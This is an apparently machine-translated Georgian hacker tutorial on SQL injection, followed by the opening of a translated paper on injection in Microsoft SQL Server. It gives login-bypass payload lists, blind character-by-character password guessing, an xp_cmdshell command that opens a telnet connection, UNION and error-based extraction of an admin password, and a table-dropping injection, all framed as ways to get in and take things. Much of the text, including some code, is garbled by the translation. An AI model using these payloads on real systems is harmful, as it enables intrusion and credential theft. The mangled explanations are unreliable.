როგორ მივიღოთ ჩვენთვის საჭირო ხარკი? სიმებიანი შეყვანის პარამეტრი

SQL ინექცია dosit არის კარგი შესაძლებლობა ჰაკერისთვის წასაშლელად
სერვერზე წვდომა. І პატარა ზუსილით, ვინ
მე მაინც წავართმევ 🙂

კოდიერი შიგნით

ამჟამად ვმუშაობთ მონაცემთა ბაზებზე
პრაქტიკულად ყველა ენის დაპროგრამება შესაძლებელია, მათ შორის BASIC, C++, Java, PERL, PHP, Assembler და JavaScript! და ამ პროგრამებს სხვა არაფერი ჰქვია, თუ არა DBMS - მონაცემთა ბაზის მართვის სისტემები. ყველაზე ხშირად, მონაცემთა ბაზა გამოიყენება ფინანსური ამოცანების შემუშავებისთვის,
ბუღალტერია, პერსონალის მენეჯმენტი და მათი სტაგნაცია ასევე აღმოჩნდა ინტერნეტში.

მონაცემთა ბაზები ხშირად გამოიყენება WEB დანამატების დასაწერად. ისინი საუკეთესო არჩევანია სარეგისტრაციო მონაცემების, სესიის ID-ების რეგისტრაციისთვის, ძიების ორგანიზებისა და სხვა ამოცანების შესანახად, რომლებიც საჭიროებენ მეტ დამუშავებას.
ბევრი მონაცემი. მონაცემთა ბაზაზე გადასასვლელად გამოიყენება სერვერის ტექნოლოგიები: PHP, PERL, ASP და ა.შ. სწორედ აქ იწყება ყველაფერი უკეთესობისკენ. სერვერზე ყოფნისას
ყველა პატჩი დაინსტალირებულია და firewall ბლოკავს ყველა პორტს 80-ის გარდა, ან თუ ავთენტიფიკაციაა საჭირო რაიმე მონაცემზე წვდომისთვის, ბოროტ ჰაკერს შეუძლია გამოიყენოს SQL Injection. ამ შეტევის არსი მდგომარეობს WEB ტექნოლოგიასა და SQL-ზე თავდასხმაში. მარჯვნივ რა არის მდიდარი ვებ გვერდებიკორისტუვაჩის მონაცემების დასამუშავებლად ჩამოაყალიბეთ სპეციალური SQLჩამოიბანეთ მონაცემთა ბაზაში. თუ ამ ტექნიკას ფრთხილად გამოიყენებთ, უკეთეს შედეგებს მიიღებთ...

SQL ინექცია

თავდასხმის ასახსნელად, გასაგებია, რომ თქვენ შედიხართ საიტზე იმისათვის, რომ მოიზიდოთ ერთი ძალიან მნიშვნელოვანი ინსტრუმენტი და სამწუხაროდ გაითვალისწინეთ, რომ შეგიძლიათ მიიღოთ მხოლოდ დარეგისტრირებული ანგარიშები და რეგისტრაცია, რა თქმა უნდა, ღირს პენიები 🙂 არ მინდა დათმობა დარჩენილი შემოსავალი, მაგრამ პროგრამების გარეშე არ არის გზა! ახლა დროა ვისაუბროთ მათ შესახებ
მონაცემთა ბაზების ძიება SQL. მაგალითად, თქვენი შესვლისა და პაროლის შემოწმება PHP-ში შეიძლება ასე გამოიყურებოდეს:

$Result = mysql_db_query($db, "SELECT * FROM $table WHERE user="$login"AND
pass = "$პაროლი" ");
$num_rows = mysql_num_rows ($ შედეგი);
mysql_close ($link);
if ($num_rows!=0)
{
// ავთენტიფიკაცია OK
}
სხვა
{
// ავთენტიფიკაციის შეცდომა
}

მე დავამატე ორი კომენტარი, "ავთენტიფიკაცია OK" - ამის ნაცვლად დამნაშავეა
შეიყვანეთ კოდი, რომელიც გამოჩნდება ამ განყოფილებაში, რადგან თქვენი პაროლი და შესვლა დაბრუნდება. კიდევ ერთი "ავთენტიფიკაციის შეცდომა" არის ადგილი, სადაც იქნება კოდის აღწერა, რომელიც მიუთითებს მის სხვადასხვა უზუსტობაზე. ფორმის შევსების შემდეგ, ის გამოჩნდება მსგავსი "http://www.server.com?login=user&password=31337", სადაც არის www.server.com სახელი.
სერვერი, რომელთანაც დაკავშირებას გვთხოვენ. ვიცოდით, რომ ხუმრობდნენ და ამ ნიშნით ჩვენ საქმეს მივმართავთ SQL. ასევე, თუ ავტორიზაციისთვის მოგიწევთ შეიყვანოთ თქვენი შესვლა და პაროლი, მაშინ SQLმატიმამ ჰკითხა ეს მზერა:

აირჩიეთ * მომხმარებლებისგან WHERE შესვლა = "მომხმარებელი" და
პაროლი = "31337"

ეს ნიშნავს, რომ მალე: შეცვალეთ ყველა ჩანაწერი მომხმარებლის მონაცემთა ბაზიდან, რომლის შესვლა არის „მომხმარებელი“ და პაროლი არის „31337“. თუ არის ასეთი ჩანაწერი, ეს ნიშნავს რეგისტრაციის ოფიცერს, მაგრამ თუ არა, მაშინ არა... მაგრამ სიმარტივისთვის ყველაფერი შეიძლება გამოსწორდეს. სიტუაცია სერიოზულია, თუ პროგრამა არ ამოწმებს მონაცემთა გადაცემას ან სრულად ამოწმებს მათ არსებობას SQLინსტრუქციები. ამ აპლიკაციაში არის ორი ველი შესვლა და პაროლი, მაგრამ პაროლის ველში შეიყვანეთ „31337 'AND email =' [ელფოსტა დაცულია](ფეხების გარეშე), მაშინ ცოტა განსხვავებული იქნება:

აირჩიეთ * მომხმარებლებისგან WHERE შესვლა = "მომხმარებელი" და პაროლი = "31337" და
ფოსტა = " [ელფოსტა დაცულია]"

და ყოველ ჯერზე, როდესაც შეიქმნება ელ.ფოსტის ველი, ის ასევე მოწმდება. თუ გესმით ლოგიკური ალგებრის საფუძვლები, მაშინ მახსენდება, რომ ოპერაციის გარდა "და" არის ასევე "ან", ხოლო დანარჩენს მხარს უჭერს SQL, შესაძლებელია მეტი
ჩვენ აღვწერთ გონების დამატების გზას, რომელიც ყოველთვის აქცევს სიმართლეს. ამისათვის თქვენ უნდა შეიყვანოთ "მომხმარებელი 'OR 1 = 1" შესვლაში, ამ შემთხვევაში ნახავთ:

აირჩიეთ * მომხმარებლებისგან WHERE შესვლა = "მომხმარებელი" ან 1 = 1-- "და
პაროლი = "31337"

დასაწყისისთვის, თქვენ უნდა იცოდეთ, რომ "-" ნიშნავს განცხადების დასასრულს და ყველაფერს "-"-ის შემდეგ.
არ შეხედავ! გამოდი, ფული ვიშოვეთ და ვკითხეთ:

აირჩიეთ * მომხმარებლებისგან WHERE შესვლა = "მომხმარებელი" ან 1 = 1

მოგეხსენებათ, ჩვენ დავამატეთ „1 = 1“, რაც ნიშნავს, რომ გადამოწმების კრიტერიუმი იქნება „ან შესვლა არის „მომხმარებელი“ ან 1 = 1“, და 1 ყოველთვის უდრის 1-ს (დამნაშავე შეიძლება იყოს დანი შეპოვალოვის არითმეტიკა :) ). ჩვენი ეჭვების გადასამოწმებლად
მისამართების ზოლში შეიყვანეთ „http://www.server.com?login=user ან 1 = 1 და პაროლი = 31337“. ეს ნიშნავს, რომ ჩვენ მიერ შეყვანილი შესვლა არ თამაშობს როლს, მაგრამ
აი პაროლი! მატრიცაში კი... ოჰ, სისტემაში შეგვიძლია მშვიდად გადმოვწეროთ ის, რაც გვჭირდება.

მაგრამ ეს ყველაფერი თეორიულად. პრაქტიკაში ჩვენთვის უცნობია, როგორ ყალიბდება მოთხოვნა, რა მონაცემები და რა თანმიმდევრობით გადაიცემა. აქედან გამომდინარე, თქვენ უნდა მიუთითოთ "მომხმარებელი 'OR 1 = 1" ყველა ველისთვის. თქვენ ასევე უნდა შეამოწმოთ წარდგენის ფორმა მიღებული ველების არსებობისთვის. HTML-ში სუნი აღწერილია როგორც " " თუ ასეა, შეინახეთ ეს გვერდი და შეცვალეთ ამ ველების მნიშვნელობები. მათში მოთავსებულ მნიშვნელობებს ხშირად ავიწყდებათ SQL განცხადებების მართებულობის შემოწმება. თუ ყველაფერი საჭიროებს კვალს ფორმაში (თეგი „FORM“) „ACTION“ პარამეტრისთვის, შეიყვანეთ შემდეგი გზა სკრიპტისკენ, რომელიც ადგენს ამ მოთხოვნას.

ალე არ დაგავიწყდეთ ისე, როგორც ფორმირებები დაიბანება,
ამ კონდახის ჩამოყალიბება შესაძლებელია შემდეგი გზით:

SELECT * FROM users WHERE (შესვლა = "მომხმარებელი" და პაროლი = "31337")
აირჩიეთ * მომხმარებლებისგან WHERE შესვლა = "მომხმარებელი" და პაროლი = "31337"
აირჩიეთ * მომხმარებლებისგან WHERE შესვლა = მომხმარებელი და პაროლი = 31337

ამ სიტუაციაში, შეგიძლიათ სცადოთ შემდეგი პარამეტრები:

ან 1 = 1
»ან 1 = 1
ან 1 = 1
'OR' a '=' a
»OR« a »=» ა
') ან (' a '=' a
ან '1' = '1'

ყველაფერი დამოკიდებულია სკრიპტის მნიშვნელობაზე და პროგრამისტზე. იმის გამო, რომ ყველა ადამიანს აქვს ძალა, იმუშაოს საკუთარი გზით, სავსებით შესაძლებელია, რომ თქვენ მიერ არჩეული პროგრამა არ იყოს უმარტივესი ვარიანტი. ამის კვალი არ არის
თავი დაანებე თუ ცოლს წაართმევ. საჭირო
სცადე მეტი ვარიანტი...

პაროლის ამოცნობა

ცუდია ავტორიზაციის გვერდის ავლით, მაგრამ ხშირად ის კარი, რომელიც ვიკორისტი ხარ, იხურება და ყველაფერი, რაც შენთვის იყო, იკარგება.
ვისი კვალიც იქნა ნაპოვნი, რადგან პროგრამისტი სულელი არ არის
ის დაფარავს ყველა ხვრელს. ასეთ სიტუაციებში, თქვენ შეგიძლიათ მარტივად მიუახლოვდეთ მას მოგვიანებით დამატებითი ინფორმაციის დამატებით. სწორი გადაწყვეტილების მიმღებთათვის, პაროლის გამოცნობა დაგეხმარებათ.
ავტორიზაციის შედეგების ანალიზი. პირველ რიგში, შევეცადოთ გამოვიცნოთ პაროლი, რისთვისაც შევიყვანთ შემდეგს:

'OR პაროლი>' a

ჩვენთვის დადასტურება, რომ ავტორიზაცია დასრულდა, პაროლი ნიშნავს
იწყება არა ასო "ა", არამედ ასო "ა", არამედ სიის შემდეგ ასოებით. შემდგომში იშლება და წარმოდგენილია
ადგილი "ა", ასევე "ბ", "გ", "დ", "ე" ... და ა.შ. ისინი ჯერ არ გვეტყვიან, რომ პაროლი არასწორია. მოდით, მთელი პროცესი დაიწყოს სიმბოლოთი "x", ამ შემთხვევაში სიტუაციის განვითარების ორი ვარიანტია: ნაპოვნია პაროლი ან პაროლი იწყება ამ სიმბოლოთი. პირველი ვარიანტის შესამოწმებლად, პაროლის ადგილას ჩაწერეთ:

'OR პაროლი =' x

და თუ პაროლი მიიღეს და შეგეშვით, ეს ნიშნავს, რომ პაროლი გამოიცანით! არა, შემდეგ აირჩიეთ სხვა სიმბოლო,
ანალოგიურად, კუბიდან. ორი სიმბოლოსთვის, შეამოწმეთ
უბრალოდ უნდა იყოს იგივე. ბოდიშს გიხდით, თქვენ უარს ამბობთ თქვენს პაროლზე და ცდილობთ თქვენი შესვლის გარკვევას 🙂
როდესაც იპოვით თქვენს პაროლს და შესვლას, ვერ გაერკვევით, მაგრამ შეგიძლიათ გაიგოთ სხვები. ამისათვის თქვენ უნდა დაიწყოთ შემოწმება ნაპოვნი პაროლის დარჩენილი სიმბოლოებით. ასე რომ, თუ პაროლი არის "xxx", აუცილებელია პაროლის გადამოწმება
"Xxy":

'OR პაროლი='xxx

ასე რომ თქვენ არ გამოტოვებთ ერთზე მეტ ვარიანტს!

MS SQL სერვერი

MS SQL სერვერმა ვერ დაადგინა, რომ საჭირო ფილტრაცია აკლია. SQL Injection-ის დაუცველობა შეიძლება გამორთოთ
ბრძანება ჩართულია დისტანციურ სერვერზედამატებითი დახმარებისთვის exec master..xp_cmdshell. Ale to vikoristuvat ეს დიზაინი
აუცილებელია SELECT ოპერაციის დასრულება. SQL-ში ინსტრუქციები გამოყოფილია წერტილებით. ტელნეტის საშუალებით მოცემულ IP-სთან დასაკავშირებლად, თქვენ უნდა შეიყვანოთ პაროლი/შესვლა:

"; Exec master..xp_cmdshell" telnet 192.168.0.1 "-

MS SQL სერვერს აქვს მრავალი სხვა ფუნქცია, რომელიც საშუალებას გაძლევთ ამოიცნოთ შესვლა და პაროლები, რომლებიც შენახულია მონაცემთა ბაზაში. რისთვისაც უპირატესობების შესახებ შეტყობინებები გადამისამართებულია სხვა სერვერზე და მათი მეშვეობით
ანალიზს შეუძლია ცხრილის სახელების, ველების და მათი ტიპების იდენტიფიცირება. რის შემდეგ შეიძლება ვიკითხო?

'UNION SELECT TOP 1 შესვლა მომხმარებლებისგან-

(შესვლის ველის სახელები არის შესვლა, ხოლო მომხმარებლები - ცხრილის სახელები,
შეწყალების ანალიზის პროცესში სწავლა).

პასუხი შეიძლება მოვიდეს:


სინტაქსის შეცდომა nvarchar მნიშვნელობის "(! LANG: admin" to a column of data type int. !} !}
/default.asp, ხაზი 27

ახლა ჩვენ ვიცით, რომ არის კორესპონდენტი სახელწოდებით "ადმინ". ახლა ჩვენ შეგვიძლია დავიბრუნოთ თქვენი პაროლი:

'UNION SELECT TOP 1 პაროლი მომხმარებლებისგან, სადაც შესვლა =' admin'-

შედეგი:

Microsoft OLE DB პროვაიდერი ODBC დრაივერებისთვის შეცდომა "80040e07"
სინტაქსის შეცდომა nvarchar მნიშვნელობის "(! LANG: xxx) კონვერტაციისას" to a column of data type int. !} !}
/tedault.asp, ხაზი 27

ახლა ჩვენ ვიცით, რომ შესვლის ანგარიში არის "admin" პაროლით "xxx". შეგიძლია თავაზიანად თქვა
იჩქარეთ და შედით სისტემაში 😉

ასევე არსებობს უამრავი სხვა ფუნქცია SQL-თან მუშაობისთვის,
მონაცემთა ბაზასთან მუშაობისას ასევე შეგიძლიათ წაშალოთ მონაცემები, შეცვალოთ ისინი, ჩადოთ თქვენი საკუთარი მონაცემები და მანიპულიროთ ფაილებით და შეხვიდეთ რეესტრში.
Zagalom, SQL Server - წესი :)

ზაჩისტი

ეს ყველაფერი ბუნებრივად უნიკალურია. ვისთვის შემიძლია
ფილტრების დაჩქარება,
ნადანიმი ვირობნიკი. თქვენ შეგიძლიათ იცოდეთ თქვენი გადაწყვეტილებები, მაგალითად, შეცვალოთ ყველა ერთი
დაკეცილი ფეხები (ამისთვის SQLგთხოვ, მოითხოვო მარტოხელები), ან უნებურად. თქვენ შეგიძლიათ აირჩიოთ მხოლოდ ასო i @ ტანკებიდან, იმისდა მიხედვით, თუ როგორ უნდა შეიყვანოთ ისინი
ელექტრონული ფოსტის მისამართები. პერლაში კი საოცრებაა
ფუნქცია 🙂 ციტატა () DBI :: DBD მოდულში, რომელიც წარმატებით აწარმოებს თქვენს შეკითხვას უსაფრთხოდ განახლებული SQL. ბევრი გამოსავალი არსებობს, თქვენ უბრალოდ გჭირდებათ ისინი
აჩქარება. თორემ ყველაფერი იგივეა...

ეს ნამუშევარი არის კრის ენლის ნაწარმოების ნაწილის თარგმანი. Advanced SQL Injection In SQL Server Applications. ()
მომავალ სტატიებში, თუ დრო დადგება, ეს თარგმანი ბოლომდე დასრულდება.

P.S. თარგმანი უფრო სასარგებლო იქნება მსუბუქი და ისტორიული მიზნებისთვის.

სტატიის ორიგინალური სათაური: ჩასმული SQL-in'ektsii vikorist ენის SQL-ის დანართებში.

აბსტრაქტული

ეს სტატია განიხილავს "SQL ინექციის" ფარულ მეთოდებს სხვადასხვა პლატფორმებისთვის Microsoft Internet Information Server / Active Server Pages / SQL Server. იგი განიხილავს SQL ინექციის სხვადასხვა ვარიანტს დანართებში და განმარტავს მონაცემთა გადამოწმების მეთოდებს, ასევე მონაცემთა ბაზების დაცვას, რომლებშიც შეიძლება იყოს SQL ინექციები.

შედი

სტრუქტურირებული შეკითხვის ენა (SQL) არის სტრუქტურირებული ენა, რომელიც გამოიყენება მონაცემთა ბაზებთან ურთიერთობისთვის. SQL ენის ბევრი „დიალექტი“ არსებობს, მაგრამ დღეს ძირითადად ყველა მათგანი დაფუძნებულია SQL-92 სტანდარტზე, ერთ-ერთ ადრინდელ ANSI სტანდარტზე. SQL-ის მთავარი ოპერაციული ბლოკი არის შეკითხვა, რომელიც წარმოადგენს გამონათქვამების ერთობლიობას, რაც ნიშნავს შედეგების სიმრავლის როტაციას (შედეგების ნაკრები). SQL ვირუსებს შეუძლიათ შეცვალონ მონაცემთა ბაზების სტრუქტურა (Vikorist data manipulation viruses - DLL) და მართონ მათი შენახვა (Vikorist data manipulation viruses - DML). ამ ნაშრომში ჩვენ გადავხედავთ transact-SQL-ს, რომელიც შემუშავებულია Microsoft SQL Server-ში.

SQL ინექციები შესაძლებელია იმით, რომ თავდამსხმელს შეუძლია შეიტანოს თავისი SQL კოდი მოთხოვნაში, რათა მოახდინოს მანიპულირება დანართში გაგზავნილი მონაცემებით.

თავდაპირველად, SQL ვირუსი გამოიყურება შემდეგ ეტაპზე:

აირჩიეთ id, სახელი, გვარი ავტორებიდან

ეს იღებს "id", "სახელწოდებას" და "გვარს" "ავტორების" ცხრილის სვეტებიდან და აბრუნებს ცხრილის ყველა მწკრივს. ატმოსფერო შეიძლება გარშემორტყმული იყოს სიმღერით „ავტორი“, მაგალითად:

აირჩიეთ id, სახელი, გვარი ავტორებიდან, სადაც forename = "ჯონ" და გვარი = "smith"

აუცილებელია აღინიშნოს, რომ ამ წინადადებაში მწკრივის ლიტერალები გამოყოფილია ერთი ფეხით. გადაცემულია, რომ "სახელი" და "გვარი" არის კლიენტის მიერ შეყვანილი მონაცემები. ამ ფორმით, ბოროტი ადამიანი შეძლებს დაამატოს ავტორიტეტული SQL-query და შემდეგ დაამატოს ავტორიტეტული მნიშვნელობა დამატებას. მაგალითად:

სახელი: jo "hn გვარი: სმიტი

ტოდი ვირაზმა მიიღო შეურაცხმყოფელი სახე:

აირჩიეთ id, სახელი, გვარი ავტორებიდან, სადაც forename = "jo" hn "და გვარი = "smith"

როდესაც მონაცემთა ბაზა შეეცდება მსგავსი შეკითხვის დამუშავებას, ის აჩვენებს შემდეგ შეცდომას:

სერვერი: Msg 170, დონე 15, მდგომარეობა 1, ხაზი 1 ხაზი 1: არასწორი სინტაქსი "hn"-თან.

დაფქვის მიზეზი იქნება ის ფაქტი, რომ შემოვიდა ერთი ფეხი, რომელიც დალუქავს გამყოფების სტრუქტურას სარეცხში. ამრიგად, მონაცემთა ბაზა წარუმატებლად შეეცდება „hn“ ბრძანების ამოღებას, რაც სიკვდილამდე მიგვიყვანს. იმ შემთხვევაში, თუ თავდამსხმელი შეიტანს შემდეგ ინფორმაციას ფორმაში:

სახელი: jo "; ჩამოაგდეს ცხრილის ავტორები-- გვარი:

გამოჩნდება "ავტორების" ცხრილი, რომელსაც მოგვიანებით განვიხილავთ.

შეიძლება გაინტერესებთ, ამოვიღებთ თუ არა ცალკეულ ფეხებს საინექციო ფორმიდან, ასევე „შევიცვლით“, რამაც შესაძლოა ჩვენი პრობლემა მოაგვაროს. და მართალი იქნებით, თუმცა, ამ პრობლემის გადაჭრის ნებისმიერი მეთოდით რამდენიმე პრობლემაა. უპირველეს ყოვლისა, ყველა ინფორმაცია არ არის შეყვანილი "სტრიქონებში" (სტრიქონები). მწერლისთვის ფორმა წარმოადგენს ავტორის „იდენტიფიკატორს“, რომელსაც რიცხვი ეწოდება. მაგალითად, ჩვენს კაპიტანს შეუძლია ნახოს მომავალი ბრძანება:

აირჩიეთ id, სახელი, გვარი ავტორებიდან, სადაც id = +1234

ამ სიტუაციაში, თავდამსხმელს შეუძლია ადვილად დაამატოთ ნებისმიერი SQL ვირუსი ციფრულ მონაცემებში. SQL მოთხოვნების სხვა ტიპებში გამოიყენება სხვადასხვა დელიმიტერები. მაგალითად, Microsoft Jet DBMS-ში დელიმიტერი არის "#" სიმბოლო. სხვა სიტყვებით რომ ვთქვათ, მარტოხელა ფეხების „გაქცევა“ სულაც არ არის მოკვლის უმარტივესი გზა, რადგან მას შეუძლია დანებება. ამაზე უფრო დეტალურად მოგვიანებით ვისაუბრებთ.

მოდით შევხედოთ შესვლის გვერდს Active Server Pages (ASP) საფუძველზე, რომელიც იყენებს SQL-ს მონაცემთა ბაზაზე წვდომის უარსაყოფად, რათა კლიენტს რაიმე ფორმით მისცეს ავტორიზაცია.

ჩვენ შევიყვანთ გვერდით კოდს, რათა განვათავსოთ შესვლის ფორმა, რომელშიც უნდა შეიყვანოთ მომხმარებლის სახელი და პაროლი.

შესვლის გვერდი

Შესვლა

მომხმარებლის სახელი:
პაროლი:

ქვემოთ მოცემულია კოდი (process_login.asp), რაც ნიშნავს, რომ შეყვანილი მონაცემები სწორია.